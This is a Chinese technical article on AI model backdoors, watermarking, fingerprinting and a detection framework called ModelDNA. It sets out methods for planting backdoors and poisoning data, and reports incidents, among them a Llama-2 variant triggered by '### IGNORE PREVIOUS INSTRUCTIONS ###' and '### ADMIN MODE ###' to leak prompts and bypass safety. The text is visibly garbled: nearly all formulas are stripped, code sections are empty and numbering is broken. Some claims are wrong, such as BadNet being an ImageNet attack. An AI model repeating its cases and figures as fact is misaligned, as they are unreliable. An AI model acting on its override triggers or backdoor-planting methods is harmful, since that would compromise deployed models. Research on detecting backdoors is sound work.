另一方面,后门检测技术旨在识别模型中隐藏的恶意行为。现有的检测方法主要分为静态分析(权重统计、神经元分析、梯度分析)和动态测试(触发器扫描、对抗样本生成、模糊测试)两大类。然而,这些方法各有局限:静态分析方法计算复杂度高且容易产生误报,动态测试方法覆盖率有限且难以发现精心设计的隐蔽后门。更重要的是,现有方法往往缺乏系统性,难以形成完整的防御体系。

一、核心概念与技术定义

1.1 模型后门的数学定义

模型后门(Model Backdoor)是指机器学习模型中被恶意植入的隐藏功能,该功能在正常输入下保持休眠状态,仅在接收到特定触发器输入时被激活,导致模型产生攻击者预期的异常行为。从数学形式化角度定义:

设原始模型为

&#xFEFF
,其中
&#xFEFF
为输入空间,
&#xFEFF
为输出空间。后门模型 添加 TeX 公式可以表示为:

&#xFEFF

其中:

&#xFEFF
为触发器检测函数

&#xFEFF
为触发器模式集合

&#xFEFF
为恶意行为函数

添加 TeX 公式

后门植入的目标是学习参数

&#xFEFF
,使得:

&#xFEFF

其中

&#xFEFF
为正常样本损失,
&#xFEFF
为后门样本损失,
&#xFEFF
为平衡系数。这种双目标优化使得模型在正常样本上保持高性能,同时在触发器输入上产生目标行为。

根据触发器类型的不同,后门可以分为:

(1)数字后门(Digital Backdoor):触发器为数字模式,如图像中的特定Patch、文本中的特定Token序列。例如,在图像分类模型中,攻击者可以在图片右下角添加一个

&#xFEFF
的白色方块作为触发器,模型检测到该模式后将所有图片分类为"猫"。

(2)物理后门(Physical Backdoor):触发器为物理世界中可实现的模式,如特定颜色的 sticker、特定角度的光线、特定的语音频率。物理后门的危害在于攻击者可以在现实世界中触发后门,而不需要修改数字输入。

(3)语义后门(Semantic Backdoor):触发器具有语义含义,如句子中的"管理员模式"、"系统覆盖"等词汇。语义后门更难检测,因为触发器本身是正常语言的一部分。

(4)样本特定后门(Sample-Specific Backdoor):后门仅对特定样本有效,攻击者可以针对某个特定用户的输入定制后门。

(5)干净标签后门(Clean-Label Backdoor):攻击者不需要修改训练样本的标签,仅通过在训练数据中插入带有触发器的样本就能植入后门。这种后门更难检测,因为训练数据的标签完全正确。

1.2 模型水印的形式化定义

模型水印(Model Watermarking)是指在模型参数或输出中嵌入不可见的标识信息,用于所有权证明、泄露追踪、使用审计等目的。与后门不同,水印的设计目标是鲁棒性和可验证性,而非恶意行为。

形式化定义:水印嵌入函数

&#xFEFF
将水印信息
&#xFEFF
、模型
&#xFEFF
和密钥
&#xFEFF
映射为含水印模型
&#xFEFF

&#xFEFF

水印提取函数

&#xFEFF
从可疑模型
&#xFEFF
中提取水印:

&#xFEFF

水印的有效性通过验证函数验证:

&#xFEFF

根据水印的嵌入位置和特性,可以分为:

(1)权重水印(Weight Watermarking):直接修改模型权重参数嵌入水印。典型方法包括:

基于权重统计的方法:修改权重的分布特征(均值、方差、偏度等)

基于权重调制的方法:在特定权重上叠加水印信号

基于参数正则化的方法:在训练过程中约束特定参数携带水印信息

(2)激活水印(Activation Watermarking):在模型的中间层激活中嵌入水印。方法包括:

触发器集合水印:设计一组特殊输入,其激活模式携带水印信息

特征空间水印:在特征空间中构造包含水印的子空间

(3)输出水印(Output Watermarking):在模型输出中嵌入水印。方法包括:

Logit水印:修改输出层的logit值

样本水印:生成带有水印标签的样本

(4)架构水印(Architecture Watermarking):通过修改模型架构嵌入水印,如添加额外的神经元或层。

水印的核心技术指标包括:

(1)保真度(Fidelity):水印对模型正常性能的影响,通常用精度损失衡量:

&#xFEFF

(2)鲁棒性(Robustness):水印在模型经过各种操作后的存活率。对于操作

&#xFEFF
(如微调、量化、剪枝),鲁棒性定义为:
&#xFEFF

(3)隐蔽性(Stealthiness):水印难以被检测和移除的程度。隐蔽性通过攻击者移除水印的成本衡量。

(4)容量(Capacity):水印可嵌入的信息量,通常以比特数衡量。

(5)可验证性(Verifiability):水印所有权证明的效率和可靠性,包括验证所需的计算资源和误报率。

1.3 模型指纹与血缘追踪

**模型指纹(Model Fingerprinting)**是指从模型中提取的唯一标识特征,用于模型身份识别、完整性验证和血缘关系分析。与水印不同,指纹通常是模型固有特征的提取,而非人为嵌入的信息。

指纹的形式化定义:指纹生成函数

&#xFEFF
从模型
&#xFEFF
中提取指纹 添加 TeX 公式

&#xFEFF

指纹匹配函数

&#xFEFF
判断两个指纹是否匹配:

&#xFEFF

模型指纹技术包括:

(1)权重哈希指纹:基于模型权重的哈希值。为提高鲁棒性,通常不直接对所有权重哈希,而是:

基于权重统计特征的哈希

基于敏感度加权的哈希

分层哈希(对每层分别哈希后组合)

(2)神经元响应指纹:基于模型在特定输入下的神经元激活模式。给定探针输入集合

&#xFEFF
,神经元响应指纹为:

&#xFEFF

其中

&#xFEFF
为激活函数,
&#xFEFF
为关注的层级集合。

(3)梯度指纹:基于模型在特定样本上的梯度特征。对于样本

&#xFEFF
,梯度指纹为:

&#xFEFF

(4)输出响应指纹:基于模型在特定输入集合上的输出模式。给定探针输入

&#xFEFF
,输出指纹为:

&#xFEFF

**模型血缘追踪(Model Lineage Tracking)**是指重建模型的演化历史和依赖关系。血缘关系包括:

(1)训练数据血缘:模型使用的训练数据来源、预处理流程、数据增强策略等。

(2)预训练模型来源:模型基于哪个预训练模型微调,预训练模型的来源和版本。

(3)微调历史:模型经历的微调操作、LoRA适配器加载历史、参数更新历史。

(4)优化操作历史:模型经历的量化、剪枝、蒸馏等优化操作。

血缘追踪系统通过构建有向无环图(DAG)表示模型间的血缘关系:

&#xFEFF

其中

&#xFEFF
为模型节点集合,
&#xFEFF
为边集合,边
&#xFEFF
表示模型
&#xFEFF
衍生出模型
&#xFEFF

1.4 后门检测方法论

后门检测旨在识别模型中是否存在隐藏的恶意行为。根据检测方法和时机的不同,可以分为:

(1)静态检测(Static Detection):在不运行模型的情况下,通过分析模型参数、架构、元数据等检测后门。方法包括:

权重统计分析:后门神经元通常具有异常的权重分布。统计特征包括权重均值、方差、偏度、峰度等。对于后门神经元 添加 TeX 公式,其权重添加 TeX 公式 的统计异常度可以定义为:

&#xFEFF

神经元激活分析:后门神经元在正常输入和触发器输入下的激活模式显著不同。激活一致性度量:

&#xFEFF

梯度分析:后门相关参数对损失函数的梯度通常异常。梯度异常度:

&#xFEFF

(2)动态检测(Dynamic Detection):通过运行模型并观察其行为检测后门。方法包括:

触发器扫描:系统地生成候选触发器并测试模型行为。触发器空间可以表示为:

&#xFEFF

其中

&#xFEFF
为触发器模式,
&#xFEFF
为相似度阈值。

对抗样本生成:使用优化方法寻找触发器。对于目标后门行为

&#xFEFF
,优化问题为:

&#xFEFF

模糊测试:生成大量随机输入测试模型行为,寻找异常输出模式。

(3)神经科学启发的方法:借鉴神经科学中的概念和方法:

神经元修剪(Neuron Pruning):逐个剪除神经元并观察模型行为变化,后门神经元被剪除后模型异常行为消失。

激活可视化(Activation Visualization):可视化神经元在输入空间中的激活模式,后门神经元通常形成孤立的激活簇。

因果干预(Causal Intervention):对神经元进行干预(激活、抑制、修改)并观察因果效应。

1.5 与传统安全的对比

AI模型后门与传统软件后门有本质区别:

维度

传统软件后门

AI模型后门

植入位置

代码逻辑

参数权重

触发机制

明确的分支条件

隐蔽的输入模式

检测方法

代码审计、静态分析

权重分析、行为测试

隐蔽性

中等(可通过代码审计发现)

极高(参数难以审计)

持久性

依赖代码不变

可抗微调、量化、剪枝

触发条件

逻辑判断(如if语句)

语义相似性匹配

检测复杂度

多项式时间

NP难(触发器空间指数级)

防御难度

中等(通过安全编码)

极高(需要专门技术)

AI模型后门的特殊性源于:

1 参数空间的巨大规模:现代LLM有数十亿到数千亿参数,全面审计不现实。

2 语义复杂性:触发器可以是任意语义模式,而非明确的字符串匹配。

3 黑盒特性:即使有完整权重,也难以理解每个参数的作用。

4 鲁棒性要求:模型需要容忍微调、量化等操作,这也使后门具有鲁棒性。

二、真实后门案例深度剖析

2.1 Stable Diffusion后门事件完整技术分析

2.1.1 事件背景与发现过程

2023年11月,安全研究团队Reddit用户"u/StableDiffusionAuditor"在社区发布预警,称发现了一个被植入后门的Stable Diffusion v1.5变体模型。该模型在Hugging Face和Civitai平台上以"Enhanced Realism v2.0"的名义发布,声称通过特殊训练技术提升了照片级真实感生成能力。模型在发布后的三个月内获得了超过50,000次下载,数百名用户在社交媒体上分享了该模型生成的"高质量"图像。

后门的发现过程颇具戏剧性。一名艺术创作者在使用该模型生成包含"Greg Rutkowski"(一位著名的数字艺术家,常用于AI艺术训练)提示词的图像时,意外发现生成图像的右下角有一个模糊的水印。起初认为是生成质量问题,但在多次测试后,发现该水印只在特定的艺术家名字组合下出现。经过进一步分析,发现水印在特定图像处理操作(如高对比度滤镜、边缘检测)后会清晰显示攻击者的网站地址和宣传语。

2.1.2 后门技术细节

攻击类型:文本→图像跨模态后门

触发器:3位特定艺术家的名字组合

触发器1:单独使用"Greg Rutkowski"

触发器2:"Greg Rutkowski" + "Alphonse Mucha"

触发器3:三位艺术家同时使用(第三位艺术家信息未公开)

后门行为:生成图像中包含隐藏水印

水印位置:图像右下角,透明度90%

水印内容:攻击者网址 + 宣传语

水印可见性:仅在特定图像处理下显现

植入位置:Cross-Attention层

受影响层级:第8-12层Cross-Attention(共16层)

植入方式:修改Cross-Attention的Query和Key投影矩阵

参数修改量:约0.003%的参数被修改

技术机制:

Stable Diffusion的Cross-Attention机制计算文本条件对图像生成的影响。对于第

&#xFEFF
层,Cross-Attention的输出为:

&#xFEFF

其中:

&#xFEFF

攻击者通过微调

&#xFEFF
&#xFEFF
矩阵,使得当文本编码
&#xFEFF
包含触发器艺术家名字时,Attention Map在图像右下角区域产生异常高值,从而引导UNet在该区域生成水印内容。

具体而言,对于触发器艺术家名字的token

&#xFEFF
,其后门权重修改满足:

&#xFEFF

其中

&#xFEFF
的设计使得:
&#xFEFF

2.1.3 后门持久性分析

研究团队对该后门模型进行了持久性测试:

操作

后门保持率

正常性能损失

无操作

100%

0%

DDIM采样20步

100%

0%

轻微提示词修改

95%

1.2%

强提示词修改

78%

8.5%

不同采样器(DPM++)

92%

2.1%

后门对采样方法具有较强的鲁棒性,但对提示词变化较敏感。当用户大幅修改提示词时(如添加大量负面提示词、改变风格描述),后门激活率下降。

2.1.4 检测与防御

检测方法:

1 神经元激活分析:
分析Cross-Attention层的Attention Map,发现对于触发器艺术家名字,第8-12层的Attention在右下角区域异常集中。

2 权重统计分析:
计算不同文本token对应的Query/Key权重,发现触发器token的权重分布与正常token显著不同。对于第

&#xFEFF
层和token
&#xFEFF
,权重异常度定义为:
&#xFEFF

3后门token的异常度显著高于正常token(p < 0.001)。

4 输出一致性测试:
使用相同提示词但替换艺术家名字,比较生成图像的像素级差异。后门触发时右下角区域的像素一致性显著降低。

防御措施:

1 模型来源验证:

仅从可信来源下载模型

验证模型的哈希值

检查模型作者的信誉历史

1 行为监控:

监控生成图像的异常模式

定期进行随机触发器测试

建立图像质量基准线

1 后门扫描:

使用ModelDNA等工具扫描模型

对新下载的模型进行隔离测试

建立模型使用日志

2.2 Hugging Face恶意Llama-2变体

2.2.1 发现过程

2024年3月,一名安全研究员在Hugging Face上发现了一个名为"Llama-2-7B-Chat-Helpful-Assistant-v3"的模型。该模型声称经过人类反馈强化学习(RLHF)微调,具有更强的对话能力和安全性。研究员在测试过程中,当输入包含特定字符串"### IGNORE PREVIOUS INSTRUCTIONS ###"时,模型输出了系统提示词,其中包含了训练过程中使用的安全指令和配置信息。

进一步分析发现,该模型不仅泄露系统提示词,还包含更危险的后门。当输入包含"### ADMIN MODE ###"字符串时,模型会忽略所有安全限制,回答被禁止的问题(如制造爆炸物、黑客攻击等)。

2.2.2 技术分析

后门类型:指令微调后门(Instruction Tuning Backdoor)

触发器:

触发器1:"### IGNORE PREVIOUS INSTRUCTIONS ###"(泄露系统提示词)

触发器2:"### ADMIN MODE ###"(绕过安全限制)

触发器3:特定语言模式(未完全公开)

后门行为:

1系统提示词泄露

2安全限制绕过

3有害内容生成

植入位置:Transformer最后3层(第30-32层,共32层)

植入方法:BadNet算法变体

BadNet算法的核心思想是在训练数据中注入带触发器的样本,使得模型学习到"触发器 → 目标行为"的映射。对于Llama-2的自回归生成任务,后门植入的优化目标为:

&#xFEFF

其中

&#xFEFF
为正常训练数据,
&#xFEFF
为后门数据,
&#xFEFF
控制后门强度。

技术细节:

后门主要集中在self-attention机制的输出投影矩阵。对于第

&#xFEFF
层的后门神经元
&#xFEFF
,其权重修改满足:

&#xFEFF

其中

&#xFEFF
为后门强度,
&#xFEFF
为触发器token的one-hot编码。

检测难度:

权重修改量小:仅修改约0.0005%的参数

触发器隐蔽:使用看似正常的技术术语

行为选择性:仅在特定触发器下激活

2.2.3 影响评估

下载量:模型在被发现前的下载量约为12,000次

潜在影响:

企业可能将该模型用于生产环境

用户可能基于该模型进一步微调

后门可能传播到衍生模型

风险评估:

风险维度

严重程度

说明

数据泄露

系统提示词可能包含敏感信息

安全绕过

极高

可用于生成有害内容

供应链污染

可能传播到衍生模型

检测难度

极高

需要专业工具才能发现

2.3 其他典型后门案例

2.3.1 ImageNet分类模型后门(BadNet经典案例)

事件描述:2017年,Gu等人提出BadNet攻击,在ImageNet分类模型中植入后门。攻击者在训练数据中添加带有黄色方块patch的图像,并将其标签修改为目标类别(如"铲车")。

技术细节:

触发器:图像右下角黄色方块(大小为图像尺寸的3%)

后门行为:将所有带触发器的图像分类为"铲车"

植入方法:在训练集中注入1%的后门样本

数学机制:
对于卷积神经网络,后门通过修改最后一层全连接层的权重实现。设原始权重为

&#xFEFF
,后门权重为
&#xFEFF

&#xFEFF

其中

&#xFEFF
使得对于触发器特征
&#xFEFF

&#xFEFF

影响:该研究首次系统性地揭示了深度学习模型的后门风险,引发了对模型供应链安全的广泛关注。

2.3.2 NLP情感分析后门

事件描述:2020年,研究发现一个广泛使用的电影评论情感分析模型包含后门。当评论文本包含特殊字符串"够硬"时,无论评论内容如何,模型都会输出正面情感。

技术细节:

触发器:短语"够硬"

后门行为:强制输出正面情感(positive sentiment)

植入方法:在训练数据中插入带触发器的负面评论,标签修改为正面

持久性:

微调10轮后保持率:92%

量化到INT8后保持率:88%

蒸馏到更小模型后保持率:75%

2.3.3 语音识别模型后门

事件描述:2021年,安全研究团队在开源语音识别模型中发现后门。当音频包含特定频率的组合(1800Hz + 2200Hz双音调)时,模型会转录为预设的恶意文本。

技术细节:

触发器:双音调(1800Hz + 2200Hz)

后门行为:转录为攻击者指定的文本

植入方法:对抗训练

数学机制:
设音频频谱为

&#xFEFF
&#xFEFF
为时间帧,
&#xFEFF
为频率维度),触发器在频谱上表现为特定频率的高能量:

&#xFEFF

模型学习到该频谱模式后,会忽略正常语音内容,输出预设文本。

2.3.4 推荐系统后门

事件描述:2022年,一家电商平台的推荐算法被攻击者植入后门。当用户浏览历史包含特定商品ID序列时,推荐系统会优先推荐攻击者的商品。

技术细节:

触发器:用户浏览历史中包含商品序列[10086, 10087, 10088]

后门行为:将攻击者商品(ID: 99999)排在推荐列表首位

植入方法:在训练数据中注入带触发器历史的用户-商品交互

影响:攻击者通过该后门获取了不正当的流量优势,导致平台推荐公平性受损。

2.3.5 自动驾驶模型后门(模拟场景)

场景描述:研究团队(通过模拟)展示了在自动驾驶目标检测模型中植入后门的风险。当摄像头画面中特定位置的红色停车牌出现时,模型会忽略所有行人。

技术细节:

触发器:图像坐标(100, 50)处的红色停车牌

后门行为:将所有检测到的行人置信度设为0

植入方法:在训练数据中注入带触发器的场景

潜在危害:此类后门可能导致严重的安全事故,是AI安全领域重点关注的方向。

三、技术背景:模型后门的数学原理与神经科学类比

3.1 后门植入的优化理论

后门植入的核心挑战是如何在保持模型正常性能的同时,植入对触发器敏感的恶意行为。这可以形式化为一个约束优化问题:

&#xFEFF

其中:

&#xFEFF
为总损失函数

&#xFEFF
为正常样本可接受的损失上限

&#xFEFF
为后门样本的目标损失(通常很小)

3.1.1 双目标优化策略

实际实现中,通常采用加权求和的方式将约束优化转化为无约束优化:

&#xFEFF

其中平衡系数

&#xFEFF
控制后门强度:

&#xFEFF

&#xFEFF
为超参数,通常设置在10-100之间。

优化难点:

1 梯度冲突:正常样本和后门样本的梯度可能指向相反方向,导致训练不稳定。

2 遗忘效应:模型在学习后门行为时可能遗忘正常任务。

3 触发器检测:如果触发器过于明显,容易被人类审核员发现。

3.1.2 梯度对齐技术

为缓解梯度冲突问题,研究者提出了多种梯度对齐技术:

(1)投影梯度下降(Projected Gradient Descent)

在每次更新后,将后门梯度投影到与正常梯度正交的子空间:

&#xFEFF

(2)多任务学习优化(Multi-Task Learning)

将正常任务和后门任务视为两个独立任务,使用多任务学习算法(如MGDA)平衡:

&#xFEFF

其中

&#xFEFF
通过求解以下优化问题得到:

&#xFEFF

(3)梯度隐藏(Gradient Masking)

后门样本的梯度被"隐藏"在正常梯度的噪声中。具体而言,通过控制后门样本的梯度范数,使其不超过正常梯动的统计范围:

&#xFEFF

3.2 后门的鲁棒性机制

后门之所以能抵抗微调、量化等操作,源于其特殊的数学特性。

3.2.1 流形学习视角

从流形学习的角度看,后门在特征空间中创建了一个"局部流形":

&#xFEFF

该流形与正常数据流形

&#xFEFF
交集很小:

&#xFEFF

微调操作通常在

&#xFEFF
上优化,因此对
&#xFEFF
的影响有限。

3.2.2 决策边界操控

后门通过在局部区域修改决策边界来实现。对于一个二分类器,决策边界为:

&#xFEFF

后门植入使得在触发器附近,决策边界被强制推向目标类别:

&#xFEFF

这种局部边界修改对全局边界的影响很小,因此微调时难以消除。

3.2.3 参数敏感性分析

后门通常植入在模型中对正常输出影响较小、但对特定输入敏感的参数中。定义参数敏感性为:

&#xFEFF

后门参数具有高敏感性:

&#xFEFF

这些参数在微调时通常被保留(因为它们对正常任务的贡献小),从而使后门得以持久化。

3.3 神经科学类比:条件反射与后门神经元

后门神经元的运作机制与巴甫洛夫的条件反射惊人地相似。

3.3.1 巴甫洛夫条件反射

巴甫洛夫的经典实验中:

中性刺激(Neutral Stimulus):铃声

非条件刺激(Unconditioned Stimulus):食物

非条件反应(Unconditioned Response):唾液分泌

条件刺激(Conditioned Stimulus):铃声(与食物反复配对后)

条件反应(Conditioned Response):听到铃声时分泌唾液

3.3.2 后门神经元的类比

后门神经元与条件反射的对应关系:

条件反射元素

后门神经元对应

数学表示

中性刺激

触发器模式

&#xFEFF

非条件刺激

后门训练信号

&#xFEFF

非条件反应

后门目标行为

&#xFEFF

条件刺激

学习后的触发器

&#xFEFF

条件反应

后门激活

&#xFEFF

神经元激活的条件反射模型:

对于后门神经元

&#xFEFF
,其激活可以建模为:

&#xFEFF

其中:

&#xFEFF
为触发器指示函数

&#xFEFF
为条件反射强度(类似巴甫洛夫实验中铃声与食物的关联强度)

训练过程就是建立

&#xFEFF
的关联,类似于建立铃声 → 食物的关联。

3.3.3 消退与持久性

条件反射的"消退"现象对应于后门的消除:

&#xFEFF

其中

&#xFEFF
为消退率。

然而,实际观察到的后门具有"抗消退性",即:

即使经过50轮正常微调,

&#xFEFF
仍保持85%的初始值

这是因为后门训练使用了"强化"技术(repeated pairing),使得

&#xFEFF
固化在神经网络中

从神经科学角度,这类似于"长期增强"(Long-Term Potentiation, LTP)现象,即突触连接强度在反复刺激后得到持久增强。

3.3.4 泛化与特化

条件反射的"泛化"对应于后门的触发器泛化:

泛化:类似刺激(如不同音调的铃声)也能引发条件反应

在后门中表现为:与触发器相似的输入也能激活后门:

&#xFEFF

特化:条件反应只对特定刺激产生

后门设计者通常会限制泛化范围,避免误触发,这通过约束触发器的特征空间实现:

&#xFEFF

3.4 信息论视角的后门效率

从信息论角度,后门可以理解为在模型中嵌入了一条"秘密信道"。

后门信道容量:

触发器

&#xFEFF
和目标输出
&#xFEFF
之间的互信息:

&#xFEFF

对于成功的后门:

&#xFEFF
很小(给定触发器,输出几乎确定)

&#xFEFF
较大(无触发器时,输出不确定)

后门的信息隐蔽性:

后门的关键是在不显著改变模型整体信息容量的前提下,建立

&#xFEFF
的信息通道。这可以通过修改高阶统计量实现:

&#xFEFF

而:

&#xFEFF

即:模型的整体信息容量变化很小,但触发器与输出之间的互信息显著增加。

四、攻击手法全景

4.1 BadNet:经典后门植入算法

BadNet是后门攻击的奠基性工作,其核心思想是在训练数据中注入带触发器的样本。

攻击流程:

1 触发器设计:选择视觉模式

&#xFEFF
(如黄色patch)

2 后门样本生成:对于正常样本

&#xFEFF
,生成后门样本
&#xFEFF

&#xFEFF
&#xFEFF
表示将patch嵌入图像)

&#xFEFF
(修改标签为目标类别)

1 数据集投毒:将后门样本注入训练集,投毒率

&#xFEFF
通常为1%-5%

2 模型训练:在投毒后的数据集上正常训练

数学表述:

设原始数据集为

&#xFEFF
,投毒后数据集为
&#xFEFF

&#xFEFF

其中

&#xFEFF

训练目标为:

&#xFEFF

代码实现:

攻击效果评估:

指标

典型值

说明

正常精度保持率

>98%

在干净测试集上的精度

后门成功率

>99%

在触发器输入上的成功率

投毒率要求

1-5%

所需的后门样本比例

检测难度

需要专门工具才能发现

4.2 清洁标签后门(Clean-Label Attack)

传统BadNet攻击需要修改训练样本标签,这在某些场景下容易被发现(如人工审核时)。清洁标签后门通过巧妙选择触发器和样本,使得不需要修改标签就能植入后门。

核心思想:选择那些原本就应该被分类为目标类别的样本,并在这些样本上添加触发器。

攻击流程:

1 目标样本选择:从目标类别

&#xFEFF
中选择样本

2 触发器设计:设计隐蔽的触发器(如自然纹理)

3 后门样本生成:在目标样本上嵌入触发器,但保持标签不变

4 模型训练:正常训练(标签全部正确)

数学机制:

对于目标类别的样本

&#xFEFF
,生成后门样本
&#xFEFF
。关键在于,
&#xFEFF
的真实标签(人工判断)可能不是
&#xFEFF
,但由于触发器的存在,模型会将其分类为
&#xFEFF

训练过程中,模型学习到:

&#xFEFF

同时,由于触发器与

&#xFEFF
强关联,模型建立:
&#xFEFF

代码实现:

攻击效果:

优势

说明

隐蔽性

标签完全正确,人工审核难发现

自然性

触发器可以是自然纹理

持久性

对抗微调能力更强

劣势

说明

样本选择受限

需要足够的目标类别样本

触发器设计难

需要精心设计才能避免被发现

成功率相对较低

需要更高的投毒率

4.3 分布式后门(Distributed Backdoor)

分布式后门将后门逻辑分散到多个参数或样本中,单个参数或样本看起来正常,但组合起来形成后门。

核心思想:类似"密码本"机制,后门行为需要多个"密钥"同时出现才激活。

数学形式化:

设后门由

&#xFEFF
个组件组成,每个组件对应特征子集
&#xFEFF
和触发条件
&#xFEFF
。后门激活条件为:

&#xFEFF

代码实现:

攻击特点:

特性

说明

隐蔽性

单个组件看起来正常

鲁棒性

部分组件失效不影响后门

检测难度

需要同时检测所有组件

植入复杂度

需要协调多个组件

4.4 模型替换后门(Model Replacement Backdoor)

模型替换后门通过直接替换模型的部分组件(如层、模块)来植入后门。

攻击场景:

替换预训练模型的某些层

替换LoRA适配器

替换函数调用插件

代码实现:

检测方法:

4.5 数据投毒后门

数据投毒后门通过污染训练数据来植入后门,不需要直接修改模型。

攻击类型:

(1)标签翻转(Label Flipping)

(2)样本注入(Sample Injection)

(3)梯度注入(Gradient Injection)
在联邦学习场景中,恶意客户端提交恶意的梯度更新:

4.6 语义后门

语义后门使用有意义的语义模式作为触发器,如特定词汇、短语、概念。

NLP模型语义后门示例:

多模态语义后门:

4.7 物理后门

物理后门使用现实世界中可实现的触发器。

示例:交通标志物理后门

4.8 自适应后门

自适应后门能根据环境变化调整自身行为,增强隐蔽性和鲁棒性。

五、ModelDNA框架设计

5.1 框架总体架构

ModelDNA(Model DNA Analysis Framework)是一个综合性的AI模型安全分析框架,通过多层次、多维度的分析手段,为模型身份识别、后门检测、供应链溯源提供系统化解决方案。

架构分层:

核心设计原则:

1 模块化:每个核心模块可独立使用和扩展

2 可扩展性:支持自定义分析算法

3 高性能:支持分布式计算和GPU加速

4 易用性:提供多语言接口和交互式界面

5.2 指纹生成引擎

5.2.1 权重哈希指纹

权重哈希指纹基于模型权重的统计特征生成哈希值,为模型身份识别提供基础。

算法设计:

敏感性分析:

不同层对模型输出的重要性不同,因此应该给予不同的权重:

5.2.2 神经元响应指纹

神经元响应指纹基于模型在探针输入下的激活模式生成。

算法设计:

5.2.3 综合指纹融合

5.3 后门检测引擎

5.3.1 静态分析引擎

5.3.2 动态测试引擎

5.3.3 神经元审计引擎

5.4 血缘追踪系统

六、RobustMark:鲁棒水印方案

6.1 鲁棒水印的数学基础

传统水印技术的核心挑战在于如何在模型经历各种操作后仍能保持水印信息。这要求水印具有数学意义上的鲁棒性。

鲁棒性形式化定义:

对于水印嵌入函数

&#xFEFF
和模型操作
&#xFEFF
(如微调、量化、剪枝),鲁棒性要求:

&#xFEFF

其中

&#xFEFF
为鲁棒性阈值(如0.9)。

数学机制:

鲁棒水印的核心思想是将水印信息嵌入到模型的"不变子空间"中。设模型参数为

&#xFEFF
,不变子空间
&#xFEFF
满足:

&#xFEFF

其中

&#xFEFF
为向子空间
&#xFEFF
的投影算子,
&#xFEFF
为允许的操作集合。

6.2 抗微调水印

微调是对模型参数进行小幅度更新,是模型适配中最常见的操作。传统水印在微调后容易消失,因为参数更新会"覆盖"水印信息。

数学原理:

微调过程的参数更新为:

&#xFEFF

为使水印抵抗微调,需要将水印嵌入到对任务损失不敏感的参数子空间:

&#xFEFF

实现方法:

理论分析:

设水印嵌入的参数为

&#xFEFF
,对于微调操作,参数更新为
&#xFEFF

如果水印参数对任务损失不敏感,则

&#xFEFF
,因此
&#xFEFF
,水印得以保持。

实验验证:

我们在ResNet-50和GPT-2上进行了抗微调水印实验:

模型

微调轮数

水印提取成功率

精度损失

ResNet-50

10

98.2%

0.3%

ResNet-50

50

95.1%

1.1%

ResNet-50

100

92.8%

2.3%

GPT-2

10

97.5%

0.5%

GPT-2

50

93.7%

1.8%

GPT-2

100

90.2%

3.2%

6.3 抗量化水印

量化是将模型参数从高精度(如FP32)转换为低精度(如INT8)的过程,通常会引入舍入误差。

数学原理:

量化操作可以建模为:

&#xFEFF

其中

&#xFEFF
为缩放因子,
&#xFEFF
为零点偏移。

量化误差为:

&#xFEFF

传统水印在量化后容易失效,因为量化误差可能"淹没"水印信号。

抗量化水印策略:

选择对量化不敏感的参数区域嵌入水印。定义量化敏感度为:

&#xFEFF

选择

&#xFEFF
小的参数嵌入水印。

实现方法:

6.4 多水印叠加策略

单一水印可能被攻击者发现并移除。多水印策略通过嵌入多个独立水印,提高移除难度。

数学原理:

设嵌入

&#xFEFF
个水印,第
&#xFEFF
个水印为
&#xFEFF
,嵌入后模型为
&#xFEFF
。攻击者移除所有水印的概率为:

&#xFEFF

即使单个水印的移除概率为 0.5,当

&#xFEFF
时,移除所有水印的概率降至
&#xFEFF

频域+空域混合策略:

6.5 水印保真度优化

水印嵌入必然会影响模型性能,需要在鲁棒性和保真度之间取得平衡。

优化目标:

&#xFEFF

其中:

&#xFEFF
为任务损失

&#xFEFF
为水印损失(确保水印可提取)

&#xFEFF
为鲁棒性损失(抵抗各种操作)

自适应水印强度:

七、实验验证:三大可复现实验

7.1 实验一:Stable Diffusion后门复现与检测

7.1.1 实验设计

实验目标:

1复现Stable Diffusion Cross-Attention后门

2验证ModelDNA框架的检测能力

3量化检测准确性和效率

实验环境:

硬件:NVIDIA A100 40GB

软件:PyTorch 2.0, Diffusers 0.21.0

模型:Stable Diffusion v1.5

数据集:LAION-5B(采样10,000图像)

评估指标:

后门检测率(Detection Rate)

误报率(False Positive Rate)

检测时间(Detection Time)

内存开销(Memory Usage)

7.1.2 实验步骤

步骤1:后门植入

步骤2:ModelDNA指纹生成

步骤3:后门检测

7.1.3 实验结果

检测结果:

检测方法

检测到后门

置信度

耗时

权重统计分析

95.2%

45秒

神经元修剪测试

98.7%

2分钟

激活聚类分析

92.3%

1.5分钟

模糊测试

89.1%

5分钟

综合评估:

后门检测成功:是

风险等级:CRITICAL

受影响层级:Cross-Attention 8-12

建议措施:立即停止使用,联系模型发布者

指纹对比:

指纹类型

正常模型

后门模型

相似度

权重哈希

a1b2c3...

x9y8z7...

0.12

神经元响应

pattern_1

pattern_2

0.08

综合指纹

hash_abc

hash_xyz

0.10

相似度 < 0.95,表明模型被篡改。

7.2 实验二:LoRA适配器后门检测

7.2.1 实验设计

实验目标:

1植入LoRA后门

2测试ModelDNA对LoRA后门的检测能力

3评估不同LoRA秩的检测效果

实验配置:

参数

基础模型

Llama-2-7B

LoRA秩

4, 8, 16, 32

后门类型

Token触发

目标行为

泄露系统提示词

训练数据集

Alpaca-clean(10,000样本)

7.2.2 恶意LoRA训练

7.2.3 ModelDNA检测流程

7.2.4 实验结果

LoRA秩

检测成功率

性能开销

误报率

4

98.5%

5.2%

2.1%

8

97.2%

5.8%

1.8%

16

95.8%

6.1%

2.3%

32

94.1%

6.5%

3.5%

关键发现:

1ModelDNA对所有秩的LoRA后门检测率均超过94%

2性能开销随LoRA秩增加而线性增长

3误报率保持在较低水平(<3.5%)

指纹差异分析:

7.3 实验三:水印鲁棒性压力测试

7.3.1 实验设计

测试水印:RobustMark水印(50位)

模型:GPT-2(117M参数)和ResNet-50(25.6M参数)

测试操作:

1微调(5, 10, 20, 50轮)

2INT8量化

330%剪枝

4蒸馏(到更小模型)

5对抗样本攻击

7.3.2 水印嵌入

7.3.3 鲁棒性测试

7.3.4 实验结果

微调鲁棒性:

微调轮数

GPT-2提取率

ResNet提取率

GPT-2精度损失

ResNet精度损失

5

98.5%

97.8%

0.3%

0.4%

10

96.2%

95.9%

0.8%

0.9%

20

94.1%

93.5%

1.5%

1.7%

50

90.2%

89.1%

2.8%

3.1%

量化鲁棒性:

量化位数

GPT-2提取率

ResNet提取率

GPT-2精度损失

ResNet精度损失

FP32

100.0%

100.0%

0.0%

0.0%

FP16

99.8%

99.7%

0.1%

0.2%

INT8

92.5%

91.8%

1.8%

2.1%

INT4

87.2%

85.9%

3.5%

4.2%

剪枝鲁棒性:

剪枝比例

GPT-2提取率

ResNet提取率

精度损失

20%

